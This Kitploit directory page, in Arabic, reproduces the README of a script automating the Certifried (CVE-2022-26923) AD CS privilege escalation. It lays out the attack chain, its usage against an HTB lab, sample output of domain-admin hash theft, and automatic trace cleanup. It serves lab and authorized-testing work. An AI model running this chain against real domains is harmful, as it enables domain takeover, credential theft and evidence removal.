Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-26923 — Automated CVE-2022-26923 Exploitation (Certifried) | Kitploit
أدوات/GitHubGitHub/nefhara/cve-2022-26923
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationCTFPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubnefhara/cve-2022-26923

CVE-2022-26923

Automated CVE-2022-26923 Exploitation (Certifried)

منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2022-26923 – استغلال Certifried (إساءة استخدام AD CS)

استغلال آلي لثغرة CVE-2022-26923 (Certifried)، يتيح تصعيد الصلاحيات عبر إساءة استخدام خدمات الشهادات في Active Directory (AD CS)، مع آلية تراجع تلقائية إلى التفويض المقيد القائم على الموارد (RBCD)، ليقوم في النهاية باستخراج تجزئة NTLM لحساب مسؤول النطاق.

⚠️ لأغراض تعليمية فقط / بيئة مختبر / CTF

لا تستخدمه في بيئات غير مصرح بها.


🎯 الوصف

يقوم هذا السكربت بأتمتة سلسلة الهجوم التالية:

الطريقة 1 — الكلاسيكية (استغلال CVE المباشر)

  1. إنشاء حساب جهاز مُتحكم به (اسم عشوائي لتجنب التعارضات)
  2. انتحال سمة dNSHostName لمطابقة وحدة تحكم النطاق
  3. طلب شهادة جهاز عبر AD CS
  4. المصادقة باستخدام الشهادة → استخراج تجزئة NTLM الخاصة بـ DC عبر PKINIT
  5. تنفيذ هجوم DCSync باستخدام secretsdump.py بالاعتماد على تجزئة DC

الطريقة 2 — التراجع (RBCD) (تلقائية إذا فشلت الطريقة 1)

  1. تحويل PFX إلى PEM للاستخدام مع bloodyAD
  2. إعداد التفويض المقيد القائم على الموارد (RBCD) على DC
  3. إضافة SPN إلى حساب الجهاز المخترق عبر impacket-addspn
  4. طلب تذكرة S4U2Self + S4U2Proxy باستخدام getST.py
  5. استخراج تجزئة NTLM عبر secretsdump.py باستخدام تذكرة Kerberos

🔗 الثغرة

  • CVE-2022-26923 – "Certifried" — CVSS 8.8 (عالية)
  • تؤثر على بيئات Active Directory التي تشغّل AD CS
  • تسمح لمستخدم منخفض الصلاحيات بانتحال شخصية وحدة تحكم النطاق عبر التلاعب بسمة dNSHostName، مما يدفع المرجع المصدق CA إلى إصدار شهادة لحساب DC

🛠 الأدوات المستخدمة


📦 تثبيت التبعيات

root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 الاستخدام

root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

الخيارات المتاحة

root@kitploit:~
-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 مثال (HTB Certifried)

root@kitploit:~
./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

نصيحة: قبل التشغيل، حدّد اسم المرجع المصدق CA والقالب بدقة باستخدام:

root@kitploit:~
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

ثم حدّث CA_NAME وTEMPLATE في القيم الافتراضية للسكربت وفقًا لذلك.


🔥 المخرجات المتوقعة

اعتمادًا على البيئة، سينجح أحد المسارين التاليين:

الطريقة 1 (الكلاسيكية):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

الطريقة 2 (تراجع RBCD):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

يتم تشغيل تنظيف OPSEC تلقائيًا في النهاية (أو عند الضغط على Ctrl+C):

root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 سير الهجوم الداخلي

root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 المشكلات المعروفة واستكشاف الأخطاء وإصلاحها


⚠️ إخلاء مسؤولية

هذا المشروع مقدم من أجل:

  • الأغراض التعليمية والبحثية
  • بيئات المختبرات الشخصية
  • تحديات CTF / HackTheBox / Capture-The-Flag
  • مهام اختبار الاختراق المصرح بها (بموافقة كتابية)

لا يتحمل المؤلف أي مسؤولية عن أي استخدام غير مصرح به أو غير قانوني لهذه الأداة.

تنزيل الأداة
الأداةالغرض
certipy-adإنشاء/تحديث الحساب، طلب الشهادة، مصادقة PKINIT
bloodyADالتلاعب بسمة RBCD (تراجع)
impacket-addspnإضافة SPN على حساب الجهاز (تراجع)
impacket-getSTطلب تذكرة S4U2Self + S4U2Proxy (تراجع)
impacket-secretsdumpDCSync / استخراج تجزئة NTLM
opensslتحويل PFX → PEM (تراجع)
العَرَضالسببالحل
NETBIOS connection timed outتأخر استجابة RPC الخاصة بـ AD CS على HTBيتم التعامل معه تلقائيًا (5 محاولات)
KDC_ERR_BADOPTION عند getSTعدم وجود SPN على COMP$يستخدم السكربت الآن impacket-addspn قبل getST
KDC_ERR_WRONG_REALM عند secretsdumpSPN خاطئ (LDAP مقابل cifs)يستخدم السكربت SPN بصيغة cifs/ لـ getST
Clock skew too greatانحراف وقت Kerberosنفّذ sudo ntpdate <DC_IP> قبل التشغيل
فشل حذف حساب الجهازصلاحيات AD غير كافية (أمر طبيعي)يتجاهله السكربت برشاقة عبر || true
unrecognized arguments مع certipy-adصيغة غير صحيحة (صيغة certipy القديمة)يستخدم السكربت وسومًا صريحة -u/-p/-target-ip